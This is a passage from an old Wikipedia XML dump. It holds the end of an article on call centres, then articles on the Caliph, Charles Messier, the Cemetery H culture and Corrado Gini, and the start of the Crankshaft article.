*The mean conversation time, otherwise referred to as Average Talk Time (ATT)
*The mean dealing time, otherwise referred to as Average Handling Time (equal to ATT plus wrap up time)
*The percentage of calls answered within a determined time frame (referred to as a Service Level or SL%)
*The percentage of calls which completely resolve the customer's issue (if the customer does not call back about the same problem for a certain period of time, it is considered a successful resolution).

==Refinements of call centres==
There are many refinements to the generic call centre model. Each refinement helps increase the efficiency of the call centre thereby allowing management to make better decisions involving economy and service.

The following list contains some examples of call centre refinements:

*''Predictive Dialling'' &amp;#8211; Computer software attempts to predict the time taken for an agent to help a caller. The software begins dialling another caller before the agent has finished the previous call. This, because not every call will be connected (think of busy or not answered calls) and also because of the time it takes to set up the call (usually around 20 seconds before someone answers). Frequently, predictive dialers will dial more callers than there are agents, counting on the fact that not every line will be answered. When the line is answered and no agent is available, it is held in a retention queue for a short while. When still no agent has become available, the call is hung up and classified as a nuisance call. The next time the client is called an agent will be reserved for the caller.
*''Multi-Skilled Staff'' &amp;#8211; In any call centre, there will be members of staff that will be more skilled in areas than others. A Voice Response Unit can be used to allow the caller to select the reason for his call. Management software, called an Automatic Call Distributor, must then be used to route calls to the appropriate agent. Alternatively, it has been found that a mix of general and specialist agent creates a good balance.
*''Queuing Systems'' &amp;#8211; The selection of a [[teletraffic queuing theory|queuing]] system type is a very important decision in a call centre as it determines the level of quality of service. Queueing systems in call centres are usually described as M/M/N type queues where N is the number of agents. The preferred method of queuing is a FIFO (First In First Out) model, as it causes minimum delay to callers.
*''Prioritisation of Callers'' &amp;#8211; Classification of callers according to priority is a very important refinement. Emergency calls or callers that are reattempting to contact a call centre are examples of callers that could be given a higher priority.
*''Automatic Number Identification'' &amp;#8211; This allows agents to determine who is calling before they answer the call. Greeting a caller by name and obtaining his/her information in advance adds to the quality of service and helps decrease the conversation time.

==Additional issues in call centres==
There are many other issues that have to be planned for when managing a call centre. A few of these issues are listed below:

*Planning for failure of equipment
*Need for flexibility in meal-times
*Need for job variety and training
*Job exhaustion and stress
*Staff turnover

==Variations on the generic call centre model==
The various components in a call centre discussed in the previous sections are the generic form of a call centre. There are many variations on the model developed above. A few of the variations are listed below:

*''Remote Agents'' &amp;#8211; An alternative to housing all agents in a central facility is to use remote agents. These agents work from home and use a Basic Rate ISDN access line to communicate with a central computing platform. Remote agents are more cost effective as they don&amp;#8217;t have to travel to work, however the call centre must still cover the cost of the ISDN line.
*''Temporary Agents'' &amp;#8211; Temporary agents are useful as they can be called upon if demand increases more rapidly than planned. They are offered a certain number of quarter hours a month. They are paid for the amount they actually work, and the difference between the amount offered and the amount guaranteed is also paid. Managers must use forecasting methods to determine the number of hours offered so that the difference is minimised.
*''Virtual Call Centres'' &amp;#8211; Virtual Call Centres are created using many smaller centres in different locations and connecting them to one another. The advantage of virtual call centres is that they improve service levels, provide emergency backup and enable extended operating hours over isolated call centres. There are two methods used to [[Routing in the PSTN|route]] traffic around call centres: pre-delivery and post-delivery. Pre-delivery involves using an external switch to route the calls to the appropriate centre and post-delivery enables call centres to route a call they&amp;#8217;ve received to another call centre.
*''Interaction Centres'' &amp;#8211; As call centres evolve and deal with more media than [[telephony]] alone, some have taken to the term, &quot;interaction centre&quot;. [[Email]], [[Web Callback]] and more are gradually being added to the role.

== Criticism of call centres ==
Criticisms of call centres generally follow a number of common themes:

From Callers:
** operators working from a script.
** non-expert operators (call screening).
** overseas location, with language and accent problems.
** automated queuing systems.

From Staff:
** close scrutiny by management.
** low pay.
** restrictive working practices.

As detailed above, none of these are inherent in the call centre model, although many companies will experience some or all of the above while implementing a call centre approach.  As the science suggests, done properly, a call centre can offer the quickest route to resolution of customer queries, capitalising on the ready availability of highly skilled and intelligent people in some areas.

==References==
#Kennedy I., ''Call Centres'', School of Electrical and Information Engineering, University of the Witwatersrand, 2003.
#Masi D.M.B., Fischer M.J., Harris C.M., ''Numerical Analysis of Routing Rules for Call Centers'', Telecommunications Review, 1998.

== See also ==
* [[Erlang unit]]
* [[Engset calculation]]
* [[Predictive dialer]]
* [[Agent turnover]]
*[[BPO Industry]]- An Overview of the BPO ITeS Industry in India
* [[Call-center industry in the Philippines]]

[[Category:telephony]]

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  <page>
    <title>Caliph</title>
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      <comment>/* How the Caliphate came to an end */</comment>
      <text xml:space="preserve">{{Islam}}
'''Caliph''' is the term or title for the Islamic leader of the ''[[Ummah]]'', or community of [[Islam]]. It is an Anglicized/Latinized version of the Arabic word &amp;#1582;&amp;#1604;&amp;#1610;&amp;#1601;&amp;#1577; or ''Khalīfah'' ({{Audio|Ar-khalifa.ogg|listen}}) which means &quot;successor&quot;, that is, successor to the prophet [[Muhammad]]. Some academics prefer to transliterate the term as ''Khalīf''. The caliph has often been referred to as ''Amīr al-Mu'minīn'' (&amp;#1571;&amp;#1605;&amp;#1610;&amp;#1585; &amp;#1575;&amp;#1604;&amp;#1605;&amp;#1572;&amp;#1605;&amp;#1606;&amp;#1610;&amp;#1606;) &quot;Prince of the Faithful,&quot; where &quot;prince&quot; is used in the context of &quot;commander.&quot;

After the first four Sunni caliphs ([[Abu Bakr]], [[Umar ibn al-Khattab]], [[Uthman ibn Affan]], and [[Ali ibn Abi Talib]]), the title was claimed by the [[Umayyads]], the [[Abbasids]], and the [[Ottoman Empire | Ottomans]], as well as by other, competing lineages in [[Spain]], [[Northern Africa]], and [[Egypt]]. Most historical Muslim rulers simply titled themselves [[sultan]]s or [[emir]]s, and gave token obedience to a caliph who often had very little real authority. The title has been defunct since the [[Republic of Turkey]] abolished the [[Ottoman Empire|Ottoman]] caliphate in [[1924]]. 

==Origins of the caliphate==

Most academic scholars agree that Muhammad had not explicitly established how the Muslim community was to be governed after his death. Two questions faced these early Muslims: who was to succeed Muhammad, and what sort of authority he was to exercise. 
[[Image:Age of Caliphs.gif|225px|thumb|left|The Caliphate.]]

===Succession to Muhammad===

[[Fred Donner]], in his book ''The Early Islamic Conquests'' (1981), argues that the standard Arabian practice at the time was  for the prominent men of a kinship group, or tribe, to gather after a leader's death and choose a leader from amongst themselves. There was no specified procedure for this [[shura]], or consultation. Candidates  were usually from the same lineage as the deceased leader, but they were not necessarily his sons. Capable men who would lead well were preferred over an ineffectual direct heir. Muhammad, if he considered the matter of succession at all, would possibly have thought that the standard procedure would apply. 

This is also the argument advanced by [[Sunni]] Muslims, who believe that Muhammad's lieutenant [[Abu Bakr]] was chosen by the community and that this was the proper procedure. They further argue that a caliph is ideally chosen by election or community consensus, even though the caliphate soon became a hereditary office, or the prize of the strongest general. 

[[Shi'a]] Muslims disagree. They believe that Muhammad had given many indications that he considered [[Ali|ˤAlī ibn Abī Talib]], his cousin and son-in-law, as his chosen successor. They say that Abū Bakr seized power by force and trickery. All caliphs other than ˤAlī were usurpers. ˤAlī and his descendents are believed to have been the only proper Muslim leaders, or [[imam]]s. This matter is covered in much greater detail in the article [[Succession to Muhammad]], and in the article on [[Shi'a]] Islam. 

A third branch of Islam, the [[Ibadi]], believes that the caliphate rightly belongs to the greatest spiritual leader among Muslims, regardless of his lineage. They are currently an extremely small sect, found mainly in [[Oman]].

===The authority of the caliph===

''Who'' should succeed Muhammad was not the only issue that faced the early Muslims; they also had to clarify the extent of the leader's powers. Muhammad, during his lifetime, was not only the Muslim leader, but the Muslim prophet and the Muslim judge. All law and spiritual practice proceeded from Muhammad. Was his successor to have the same status? 

None of the early caliphs claimed to receive divine revelations, as did Muhammad; none of them claimed to be ''an-nabī'' &quot;a prophet&quot;. Muhammad's revelations were soon codified and written down as the [[Qur'an]], which was accepted as a supreme authority, limiting what a caliph could legitimately command.

However, there is some evidence that the early caliphs did believe that they had authority to rule in matters not specified in the Qur'an. They believed themselves to be the spiritual and temporal leaders of Islam, and insisted that implicit obedience to the caliph in all things was the hallmark of the good Muslim. The modern scholars [[Patricia Crone]] and Martin Hinds, in their book ''God's Caliph'', outline the evidence for an early, expansive view of the caliph's importance and authority. They argue that this view of the caliphate was eventually nullified (in Sunni Islam, at least) by the rising power of the [[ulema]], or Islamic scholars, clerics, and religious specialists. The ulema insisted on ''their'' right to determine what was legal and orthodox. The proper Muslim leader, in the ulema's opinion, was the leader who enforced the rulings of the ulema, rather than making rulings of his own. Conflict between caliph and ulema was a recurring theme in early Islamic history, and ended in the victory of the ulema. The caliph was henceforth limited to temporal rule. He would be considered a righteous caliph if he were guided by the ulema. Crone and Hinds argue that Shi'a Muslims, with their expansive view of the powers of the [[imamate]], have preserved some of the beliefs of early Islam. Crone and Hinds' thesis is not accepted by all scholars. 

Most Sunni Muslims now believe that the caliph has always been a merely temporal ruler, and that the ulema has always been responsible for adjudicating orthodoxy and Islamic law ([[shari'a]]). The first four caliphs are called the Rashidun, the Rightly Guided Caliphs, because they are believe to have followed the Qur'an and the way or [[sunnah]] of Muhammad in all things. This formulation itself presumes the Sunni ulema's view of history.

==The history of the caliphate==
 
Abū Bakr nominated Umar as his successor on his deathbed, and the Muslim community submitted to his choice. Uthman was elected by a council of electors, but was soon perceived by some Muslims to be ruling as a &quot;king&quot; rather than an elected leader. Uthman was killed by rebellious soldiers. ˤAlī then took control, but was not universally accepted as caliph. He faced numerous rebellions and was assassinated after a tumultuous rule of only five years. This period is known as the Fitna, or the [[first Islamic civil war]].  

One of ˤAlī's challengers was Muˤāwiyya, a relative of Uthman. After ˤAlī's death, Muˤāwiyya managed to overcome all other claimants to the Caliphate. He is remembered by history as [[Muawiyah I|Muˤāwiyya]], the founder of the [[Umayyad]] dynasty. Under Muˤāwiyya, the caliphate became a hereditary office.

Under the Umayyads, the Muslim empire grew rapidly. To the West, Muslim rule expanded across [[North Africa]] and into [[Spain]]. To the east, it expanded through [[Iran]] and ultimately to [[India]].

However, the Umayyad dynasty was not universally supported within Islam itself. Some Muslims supported prominent early Muslims like [[Zubayr ibn al-Awwam|az-Zubayr]]; others felt that only members of Muhammad's clan, the Banū Hisham, or his own lineage, the descendants of ˤAlī, should rule. There were numerous rebellions against the Umayyads, as well as splits within the Umayyad ranks (notably, the rivalry between Yaman and Qays). Eventually, supporters of the Banu Hisham and Alid claims united to bring down the Umayyads in [[750]].  However, the ''Shiˤat ˤAlī'' &quot;the Party of ˤAlī&quot;, were again disappointed when the [[Abbasid]] dynasty took power, as the Abbasids were descended from Muhammad's uncle, [[Abbas ibn Abd al-Muttalib]] and not from ˤAlī. Following this disappointment, the Shiˤat ˤAlī finally split from the majority Sunni Muslims and formed what are today the several Shiˤa denominations. 

The Abassids would provide an unbroken line of caliphs for over three centuries, consolidating Islamic rule and cultivating great intellectual and cultural developments in the Middle East. But by [[940]] the power of the caliphate under the Abassids was waning as non-Arabs, particularly the [[Turkic peoples|Turkish]] (and later the [[Mamluks]] in Egypt in the latter half of the 13th century), gained influence, and [[sultan]]s and [[emir]]s became increasingly independent. However, the caliphate endured as both a symbolic position and a unifying entity for the Islamic world. 

During the period of the Abassid dynasty, Abassid claims to the caliphate did not go unchallenged. The Shiˤa [[Said ibn Husayn]] of the [[Fatimid]] dynasty, which claimed descendancy of Muhammad through his daughter, claimed the title of Caliph in [[909]], creating a separate line of caliphs in [[North Africa]]. Initially covering Morocco, Algeria, Tunisia and Libya, the Fatimid caliphs extended their rule for the next 150 years, taking [[Egypt]] and [[Palestine (region)|Palestine]], before the Abbassid dynasty was able to turn the tide, limiting the Fatimids to rule to Egypt. The Fatimid dynasty finally ended in [[1171]]. The Ummayad dynasty, which had survived and come to rule over the Muslim provinces of the [[Spain]], reclaimed the title of Caliph in [[929]], lasting until it was overthrown in [[1031]].

[[1258]] saw the conquest of [[Baghdad]] and the execution of Abassid caliph by [[Mongol]] forces under [[Hulagu Khan]]. The [[Mamluk]] regime of Egypt claimed to host a branch of the Abbasid caliphate, but later Muslim historians referred to it as a &quot;shadow&quot; caliphate and its authority was not widely acknowledged.  For all practical purposes the institution lapsed in 1258.  Muslim kings or sultans sometimes referred to themselves as commanders of the faithful, implying caliphal authority, but such claims were largely rhetorical.

The sultans or kings of the [[Ottoman Empire]] were originally thought of as civil rather than religious leaders.  The rulers of the Ottoman state only rarely used the title of khalifa or caliph, and then for political purposes. Mehmed II and his grandson Selim used it to justify their conquest of Islamic countries, but it was little more than a rhetorical flourish.  Around 1880 Sultan Abdulhamid II decided to proclaim himself caliph, as a way of countering creeping European colonialism in Muslim lands.  His claim was most fervently accepted by the Muslims of British India. By the eve of the [[World War I|First World War]], the Ottoman empire or sultanate, despite its weakness vis-a-vis Europe, represented the largest and most powerful independent Islamic political entity.  But the sultan also enjoyed some authority beyond the borders of his shrinking empire as caliph of Sunni Muslims in Egypt, India and Central Asia.

==How the Caliphate came to an end==
''See the article [[Demise of the Ottoman Caliphate]]''.

On [[March 3]], [[1924]], the first [[List of Presidents of Turkey|President of the Turkish Republic]], [[Kemal Atatürk]], constitutionally abolished the institution of the Caliphate. Its powers were transfered to the [[Turkish Grand National Assembly]] (parliament) of the newly formed Turkish nation-state and the title has since been inactive. Scattered attempts to revive the Caliphate elsewhere in the Muslim World were made in the years immediately following its abandonment by [[Turkey]], but none was successful. [[Hussein bin Ali, Sharif of Mecca|Hussein bin Ali]], a former [[Ottoman Empire|Ottoman]] governor of the [[Hejaz]] who had conspired with the [[United Kingdom|British]] during [[World War I]] and revolted against [[Istanbul]], declared himself Caliph at [[Medina]] two days after Turkey relinquished the title. But no one took his claim seriously, and he was soon ousted and driven out of Arabia by the [[Saudis]], a rival clan that had no interest in the Caliphate. The last Ottoman [[Sultan]] [[Mehmed VI]] made a similar attempt to re-establish himself as Caliph in the Hejaz after leaving Turkey, but he was also unsuccessful. 

In the 1920s the [[Khilafat Movement]], a movement to restore the Turkish Caliphate, spread throughout the British colonial territories in Asia. It was particularly strong in India, where it was a rallying point for Muslim communities. A summit was convened in [[Cairo]] in 1926 to discuss the revival of the Caliphate, but most Muslim countries did not participate and no action was taken to implement the summit’s resolutions. Though the title ''Ameer al-Mumineen'' was adopted by the King of [[Morocco]] and Mullah [[Mohammed Omar]], former head of the now-defunct [[Taliban]] regime of [[Afghanistan]], neither claimed any legal standing or authority over Muslims outside the borders of their respective countries. The closest thing to a Caliphate in existence today is the [[Organization of the Islamic Conference]] (OIC), an international organization founded in 1969 consisting of the governments of most Muslim-majority countries. But the OIC has limited influence; many Muslims are not aware that the organization exists, and its resolutions are often ignored even by member nations.

==Revival of the caliphate==
Once the subject of intense conflict and rivalry amongst Muslim rulers, the caliphate has lain dormant and largely unclaimed for much of the past 81 years. 

Though Islam is still a dominant influence in most Muslim societies and many Muslims might favor a caliphate in the abstract, tight restrictions on political activity in many Muslim countries coupled with the tremendous practical obstacles to uniting over fifty disparate nation-states under a single institution have prevented efforts to revive the caliphate from garnering much active support, even amongst devout Muslims. Popular apolitical Islamic movements such as the [[Tablighi Jamaat]] identify a lack of spirituality and decline in religious observance as the root cause of the Muslim World's problems, and claim that the caliphate cannot be successfully revived until these deficiencies are addressed. No attempts at rebuilding a power structure based on Islam were successful anywhere in the Muslim World until the [[Iranian Revolution]] in 1979, which was based on [[Shia]] principles and did not deal with the issue of a global caliphate. 

Various Sunni [[Islamist]] movements have gained momentum in recent years, calling for a restoration of the caliphate. However many such movements have as yet been unable to agree on a roadmap or a coherent model of Islamic governance, and dialog on this issue amongst Muslim activists and intellectuals has yielded no clear consensus on what a modern Islamic state should look like. Islamic religious scholars and institutions have struggled to define the applicability of centuries-old doctrines within the context of a modern society, and Islamic scholarship is generally thought to have failed to keep pace with scientific, technological, and social progress. Many questions on the form a modern Islamic caliphate would take, such as whether the concept of the caliphate is compatible with the modern nation-state construct, have received minimal attention in traditional Islamic scholarly circles. Mainstream Islamic institutions in Muslim countries today have generally not made the restoration of the caliphate a top priority and have instead focused on other issues. Most regimes have actually been hostile to such a call. 

One [[transnational]] group, the [[Hizb ut-Tahrir]], has tried to recruit the world's Muslims to a renewed caliphate. They have published a draft constitution at [http://www.hizb-ut-tahrir.org].

==Famous caliphs==
{{main|List of caliphs}}

* [[Abu Bakr]] - First [[Four Righteously Guided Caliphs|rightly guided caliph]] of the [[Sunnis]]. Subdued rebel tribes in the [[Ridda Wars]].
* [[Umar ibn al-Khattab]] - Second rightly guided caliph. During his reign, the Islamic empire expanded to include [[Egypt]], [[Jerusalem]], and [[Persian Empire|Persia]].
* [[Uthman ibn Affan]] - Third rightly guided caliph. The [[Qur'an]] was compiled under his direction. Killed by rebels. 
* [[Ali ibn Abi Talib]] - Fourth and last rightly guided caliph, and considered the first [[imam]] by [[Shi'a]] Muslims. His reign was fraught with internal conflict.
* [[Muawiya I]] - First [[Umayyad]] caliph. Muawiya instituted dynastic rule by appointing his son [[Yazid]] as his successor, a trend that would continue through all subsequent caliphates. 
* [[Umar ibn Abd al-Aziz]] -  Umayyad caliph considered by some (mainly [[Sunnis]]) to be a fifth rightly guided caliph.
* [[Haroun al-Raschid|Haroon al-Rasheed]] - Abbasid caliph during whose reign [[Baghdad]] became the world's preeminent center of trade, learning, and culture. Haroon is the subject of many stories in the famous work [[1001 Arabian Nights]].
* [[Suleiman the Magnificent]] - Early Ottoman Sultan during whose reign the [[Ottoman Empire]] reached its zenith.

==Dynasties==

The more important dynasties include:
* The [[Umayyad]] dynasty in [[Damascus]] ([[661]]-[[750]]), followed by:
* The [[Abbasid]] dynasty in [[Baghdad]] ([[750]]-[[1258]]), and later in [[Cairo]] (under [[Mameluk]] control) ([[1260]]-[[1517]]) 
* The Shi'ite [[Fatimids|Fatimid]] dynasty in [[North Africa]] and [[Egypt]] ([[909]]-[[1171]]). Not universally accepted and not currently included in the following list.
* The Rahmanids, a surviving branch of the Damascus Umayyads, established 'in exile' as [[Emir]]s of [[Cordoba, Spain|Córdoba]], [[Spain]], declared themselves Caliphs (known as the [[Caliph of Cordoba|Caliphs of Cordoba]]; not universally accepted; [[929]]-[[1031]])
* The [[Almohad]] dynasty in [[North Africa]] and [[Spain]] (not universally accepted; [[1145]]-[[1269]]). Traced their descent not from Muhammad, but from a puritanic reformer in Morocco who claimed to be the [[Mahdi]] (a puritanic reformer in Morocco, bringing down the 'decadent' [[Almoravid]] emirate) whose son established a sultanate and claimed to be a caliph. 
* The [[Ottomans]] ([[1453]]-[[1924]]; main title [[Padishah]], also known as [[Great Sultan]] etc.), assumed the title after defeating the [[Mamluk Sultanate]] and used it sporadically between the 16th and early 20th century

'''Note on the overlap of Umayyad and Abbasid Caliphates''': After the massacre of the Umayyad clan by the Abbassids, one lone prince escaped and fled to North Africa, which remained loyal to the Umayyads. This was [[Abd-ar-rahman I]]. From there, he proceeded to Spain, where he overthrew and united the provinces conquered by previous Umayyad Caliphs (in 712 and 712). From [[756]] to [[929]], this Umayyad domain in Spain was an independent emirate, until [[Abd-ar-rahman III]] reclaimed the title of Caliph for his dynasty. The Umayyad Emirs of Spain are not listed in the summary below because they did not claim the caliphate until [[929]]. For a full listing of all the Umayyad rulers in Spain see the [[Umayyad]] article.

==Claims to the caliphate==

Many local rulers throughout Islamic history have claimed to be caliphs. Most claims were ignored outside their limited domains. In many cases, these claims were made by rebels against established authorities and died when the rebellion was crushed. Notable claimants include: 

* al-Zubayr -- held the [[Hijaz]] against the Ummayads
* Caliph of the Sudan -- a [[Songhai]] king of the [[Sahel]]
* [[Hussein bin Ali, Sharif of Mecca]]  -- claimed Caliphate at [[Medina]] two days after it was abandoned by the [[Republic of Turkey]]; subsequently defeated and ousted from Arabia by the [[Saudis]], who ignored the title.

==See also==
* [[Emir]]
* [[Sultan]]
* [[Shah]]
* [[History of Islam]]
* [[Succession to Muhammad]]
* [[:Category:Caliphs]]

==References==

* Crone, Patricia &amp; Hinds, Martin -- ''God's Caliph'', Cambridge University Press, 1986
* Donner, Fred -- ''The Early Islamic Conquests'', Princeton University Press, 1981

==External links==
* [http://www.worldstatesmen.org/Religious_Organizations.html#Caliphate  Worldstatesmen.org] 
*[http://www.hizb.org.uk/ Hizb-ut-tahrir]

[[Category:Muslims]]
[[Category:Caliphate]]
[[Category:Heads of state]]
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[[Category:Religious leadership roles]]
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    <title>Charles Messier</title>
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      <text xml:space="preserve">[[Image:Charles messier.jpg|thumb|Charles Messier]]

'''Charles Messier''' ([[June 26]], [[1730]] &amp;ndash; [[April 12]], [[1817]]) was a
[[France|French]] [[astronomy|astronomer]] who in [[1774]] published a catalogue of 45 [[deep sky objects]] such as [[nebula]]e and [[star cluster]]s. The purpose of the catalogue was to help [[comet]] hunters (like himself) and other astronomical observers to distinguish between permanent and transient objects in the sky.

Messier was born in [[Badonviller, Meurthe-et-Moselle, Lorraine, France]], the 10th of 12 children of [[catchpole]] Nicolas Messier and Francoise b. Grandblaise. Six of his brothers and sisters died  young, and in 1741, his father died. Charles interest in astronomy was stimulated by the appearance of a great 6-tailed comet in 1744 and by an annular Solar eclipse visible from his hometown on July 25, 1748.

In 1751 came under the employ of the astronomer of the Navy, [[Joseph Nicolas Delisle]], who instructed him to keep careful records of his observations. Messier's first documented observation was that of the Mercury transit of May 6, 1753.

==His catalogue==
By [[1781]] the [[List of Messier objects|catalogue]] had grown to 110 '[[Messier Object]]s'. The objects' designations, from M1 to M110, are mostly still in use today.

The catalog comprises some of the most important objects in the night sky - from the Crab Nebula (M1) to a small elliptical galaxy near Andromeda (M110). In [[Messier marathon]]s, many amateur astronomers compete to view all 110 of these objects in a single dusk-to-dawn session, usually in March, when conditions are most favorable.

The [[Messier (crater)|Messier crater]] on the [[Moon]] and the [[asteroid]] [[7359 Messier]] were named in his honour.

==External links==
* [http://www.seds.org/messier/xtra/history/CMessier.html SEDS: Charles Messier]
* [http://www.licha.de/astro_gallery_messier.php Amateur Photos of Charles Messier Objects]
* [http://www.seds.org/messier/xtra/marathon/marathon.html Messier Marathon]

[[Category:1730 births|Messier, Charles]]
[[Category:1817 deaths|Messier, Charles]]
[[Category:French astronomers|Messier, Charles]]

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  <page>
    <title>Cemetery H culture</title>
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      <comment>/* References */</comment>
      <text xml:space="preserve">{{HistoryOfSouthAsia}}
The '''Cemetery H culture''' developed out of the northern part of the [[Indus Valley Civilization]] around 1900 BC, in and around the [[Punjab region|Punjab]] region.  It was named after a cemetery found in &quot;area H&quot; at [[Harappa]].

The distinguishing features of this culture include:

* The use of [[cremation]] of human remains.  The bones were stored in painted pottery burial urns.  This is completely different to the Indus civilization where bodies were buried in wooden coffins. This burial practice is not vedic and may be [[Mazdean]]/ Zoroastrian. 
* Reddish pottery, painted in black with [[antelope]]s, [[peacock]]s etc., [[sun]] or [[star]] motifs, with different surface treatments to the earlier period.
* Expansion of settlements into the east.
* Use of new crops such as [[rice]].
* Apparent breakdown of the widespread trade of the Indus civilization, with materials such as marine shells no longer used.
* Continued use of mud brick for building.

The archaeologist Kenoyer noted that this culture &quot;may only reflect a change in the focus of settlement organization from that which was the pattern of the earlier Harapppan phase and not cultural discontinuity, urban decay, invading aliens, or site abandonment, all of which have been suggested in the past.&quot; (Kenoyer 1991: 56).

Remains of the culture have been dated from about 1900 BCE until about 1300 BCE. Together with the [[Gandhara grave culture]] and the [[Ochre Coloured Pottery culture]], it is considered by some scholars a nucleus of [[Iron Age]] [[Vedic civilization]].

== References ==
*[[Jonathan Mark Kenoyer|Kenoyer, J.M.]] 1991. Urban Process in the Indus Tradition: A Preliminary Mmodel from Harappa. In Harappa Ecavations 1986-1990. (ed. R. Meadow). Madision, Wis.:Prehistory.
* [http://www.harappa.com http://www.harappa.com]
* [http://pubweb.cc.u-tokai.ac.jp/indus/english/3_1_01.html http://pubweb.cc.u-tokai.ac.jp/indus/english/3_1_01.html]

[[Category:History of Pakistan]]
[[Category:Archaeological cultures]]
[[Category:Bronze Age]]
[[Category:History of India]]</text>
    </revision>
  </page>
  <page>
    <title>Corrado Gini</title>
    <id>7248</id>
    <revision>
      <id>23369011</id>
      <timestamp>2005-09-16T23:41:06Z</timestamp>
      <contributor>
        <username>Tsunade</username>
        <id>179924</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Corrado Gini''' ([[May 23]], [[1884]] - [[March 13]], [[1965]]) was an [[Italy|Italian]] [[statistician]], [[demography|demographer]] and [[sociology|sociologist]] who developed the [[Gini coefficient]], a measure of the [[income]] inequality in a [[society]]. Gini was also a leading [[fascist]] theorist and ideologue who wrote ''The Scientific Basis of Fascism'' in 1927.

==Early career==
Gini was born on [[23 May]] [[1884]] at Motta di Livenza, near [[Treviso]], into an old [[landed family]]. He entered the Faculty of Law at the University of [[Bologna]], where in addition to law he studied [[mathematics]], [[economics]], and [[biology]].
His subsequent scientific work ran in two directions, towards the social sciences, and towards statistics.
His interests ranged well beyond the formal aspects of statistics to the laws that govern biological and social phenomena.

His first published work was, ''Il sesso dal punto di vista statistico'' ([[1908]])
This work is a thorough review of the natal sex ratio looking at past theories and at how new hypothesis fit the statistical data.

In [[1910]] he acceded to the Chair of Statistics in the University of [[Cagliari]] and then at [[Padua]] in [[1913]].

He founded the statistical journal Metron in [[1920]] which he directed until his death and which never accepted articles that did not have  practical applications.

He  became a professor at the University of [[Rome]] in [[1925]]. At the University, he founded a lecture course on sociology, which he maintained until his retirement. He also set up the School of Statistics, in [[1928]], and, in [[1936]], the Faculty of Statistical, Demographic and Actuarial Sciences.

In [[1929]] Gini founded the Italian Committee for the Study of Population Problems (''Comitato italiano per lo studio dei problemi della popolazione) '' which, two years later, organised the first Population Congress in [[Rome]].

In [[1926]] he was appointed President of the Central Institute of Statistics in Rome. This he organised as a single centre for Italian statistical services. He resigned in [[1932]] in protest at interference in his work by the fascist state.

==Later career==
*In [[1933]] Gini was elected vice president of the International Sociological Institute.
*In [[1934]] - president of the Italian [[Genetics]] and [[Eugenics]] Society. 
*In [[1935]] - president of the International Federation of Eugenics Societies in Latin-language Countries.
*In [[1937]] - president of the Italian Sociological Society.
*In [[1941]] - president of the Italian Statistical Society.
*In [[1957]] he received the Gold Medal for outstanding service to the Italian School.
*In [[1962]] he was elected National Member of the [[Accademia dei Lincei]].

==Honours==
The following honorary degrees were conferred upon him:
*Economics by the Catholic University of the Sacred Heart in Milan (1932), 
*Sociology by the University of Geneva (1934), 
*Sciences by Harvard University (1936), 
*Social Sciences by the University of Cordoba, Argentine (1963).

Corrado Gini died in the early hours of [[13 March]] [[1965]]. 
		

==Some publications==
* ''Il sesso dal punto di vista statistica: le leggi della produzione dei sessi'' ([[1908]])
* ''Sulla misura della concentrazione e della variabilità dei caratteri'' ([[1914]])
* ''Quelques considérations au sujet de la construction des nombres indices des prix et des questions analogues'' ([[1924]])
* ''Memorie di metodologia statistica. Vol.1: Variabilità e Concentrazione'' ([[1955]])
* ''Memorie di metodologia statistica. Vol.2: Transvariazione'' ([[1960]])

==See also==
* [[Gini coefficient|Gini coefficient and Gini index]]

==External links==

* [http://www.metronjournal.it/storia/ginibio.htm Biography Of Corrado Gini at the ''Metron'', the statistics journal he founded].
* [http://www.eh.net/XIIICongress/Papers/Favero.pdf Paper on &quot;Corrado Gini and Italian Statistics under Fascism&quot; by Giovanni Favero  June 2002]

[[Category:1884 births|Gini, Corrado]]
[[Category:1965 deaths|Gini, Corrado]]
[[Category:Italian sociologists|Gini, Corrado]]
[[Category:Statisticians|Gini, Corrado]]

[[de:Corrado Gini]]
[[es:Corrado Gini]]
[[fr:Corrado Gini]]
[[it:Corrado Gini]]
[[ja:コッラド・ジニ]]</text>
    </revision>
  </page>
  <page>
    <title>Crankshaft</title>
    <id>7249</id>
    <revision>
      <id>41510991</id>
      <timestamp>2006-02-27T21:25:14Z</timestamp>
      <contributor>
        <username>Yms</username>
        <id>849938</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Cshaft.gif|300px|thumb|Crankshaft, pistons, and flywheel]]
[[Image:Marine Crankshafts 8b03602r.jpg|right|thumb|250px|[[Continental engine]] marine crankshafts, 1942]]
:''For the comic strip about an old, curmudgeonly bus driver, see [[Crankshaft (comic strip)]].''

The '''crankshaft''', sometimes casually abbreviated to ''crank'', is that part of an [[engine]] which translates [[reciprocate|reciprocating]] [[linear]] [[piston]] motion into rotation. It typically connects to a [[flywheel]], to reduce the pulsation characteristic of the [[four stroke cycle]], and sometimes a torsional or vibrational damper at the opposite end, to reduce the [[torsion (mechanics)|torsion]] vibrations often caused along the length of the crankshaft by the cylinders furthest from the output end acting on the torsional elasticity of the metal. 

==Design==
Large engines are usually [[engine configuration|multicylinder]] to reduce pulsations from individual firing strokes, with more than one piston attached to a more complex crankshaft; but many small engines, such as those found in [[moped]]s or garden machinery, are single cylinder and use only a single piston, simplifying crankshaft design. The crankshaft has a linear [[Axis of rotation|axis]] about which it rotates, typically with several bearing journals riding on replaceable [[plain bearing|bearings]] held in the engine block, the [[main bearing]]s. As the crankshaft undergoes a great deal of sideways load from each cylinder in a multicylinder engine, it must be supported by several such bearings, not just one at each end; this was also a factor in the rise of [[V8]] engines with their shorter crankshafts, in preference to [[straight-8]] engines. High performance engines will often have more main bearings than their lower performance cousins, for this reason. In addition, to convert the reciprocating motion into rotation, the crankshaft has &quot;crank throws&quot; or &quot;crank pins&quot;, additional bearing surfaces whose axis is offset from that of the crank, to which the &quot;big ends&quot; of the [[connecting rod]]s from each cylinder attach. The distance of the axis of the crank throws from the axis of the crankshaft determines the [[piston stroke]] measurement, and thus [[engine displacement]]; a common way to increase the power of an engine is to increase the stroke. This also increases the reciprocating vibration, however, limiting the high [[RPM]] capability of the engine; in compensation, it improves the low speed operation of the engine, as the longer intake stroke through smaller valve(s) results in greater turbulence and mixing of the intake charge. For this reason, even such high speed production engines as current [[Honda]] engines are classified as long-stroke, in that the stroke is larger than the diameter of the [[cylinder bore]]. In production [[V engine|V]] or [[flat engine|flat]] engines, neighboring connecting rods attach side by side to the same crank throw, simplifying crank design. 

